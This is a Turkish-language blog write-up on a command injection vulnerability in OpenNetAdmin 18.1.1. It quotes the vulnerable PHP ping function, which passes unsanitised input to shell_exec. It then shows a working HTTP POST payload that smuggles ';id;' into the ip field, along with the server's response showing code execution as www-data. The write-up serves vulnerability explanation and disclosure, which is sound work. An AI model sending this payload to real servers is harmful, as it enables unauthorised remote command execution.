OpenNetAdmin 18.1.1 Command Injection


OpenNetAdmin; DNS adresleri, IP adresleri, Alt ağlar, MAC adresleri gibi ağ ayarlarını yapmayı ve izlemeyi sağlayan IPAM (IP Adres Yönetimi) aracıdır. Eklentileri kullanarak daha fazla özellik eklenebilmektedir. Php programlama dili ile geliştirilmiştir.

OpenNetAdmin’in 8.5.14 ve 18.1.1 arasındaki sürümlerindeki zafiyetten dolayı komut enjekte edilerek sunucu üzerinde çalıştırılabilmektedir.

# ona/www/winc/tooltips.inc.php

function ws_ping($window_name, $form='') {
    // If an array in a string was provided, build the array and store it in $form
    $form = parse_options_string($form);
    $output = shell_exec("ping -n -w 3 -c 3 {$form['ip']}");
    $window['title'] = 'Ping Results';
    $build_commit_html = 0;
    $commit_function = '';
    include(window_find_include('module_results'));
    return(window_open("{$window_name}_results", $window));
}

Yukarıdaki kod bloğunda OpenNetAdmin’in 18.1.1 sürümünde ping göndermek için kullanılan fonksiyon verilmiştir. Web tarayıcı üzerinden gönderilen ip adresi $output = shell_exec("ping -n -w 3 -c 3 {$form['ip']}"); satırında kullanılmıştır.
shell_exec fonksiyonu içine yazılan komutu kabukta çalıştırır ve çıktının tamamını bir string olarak döndürür. Post metodu ile alınan $form['ip'] değeri fonksiyon içinde kontrol edilmeden kullanılması bu zafiyete sebep olmaktadır.

POST /ona/login.php HTTP/1.1
Host: 172.16.172.157
Connection: keep-alive
Content-Length: 98
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: tr,tr-TR;q=0.9,en-US;q=0.8,en;q=0.7

xajax=window_submit&xajaxargs[]=tooltips&xajaxargs[]=ip%3D>;id;&xajaxargs[]=ping

Eğer yukarıdaki gibi bir HTTP isteği gönderirsek dönen cevabın içinde çalıştırdığımız id komutunun cevabı da gelecektir.

....
<td align="left" class="padding">
    <br>
    <div style="border: solid 2px #000000; background-color: #FFFFFF; width: 650px; height: 350px; overflow: auto;resize: both;">
        <pre style="padding: 4px;font-family: monospace;">uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>
    </div>
</td>
....




Onur ER
Onur ER
Onur ER
comments powered by Disqus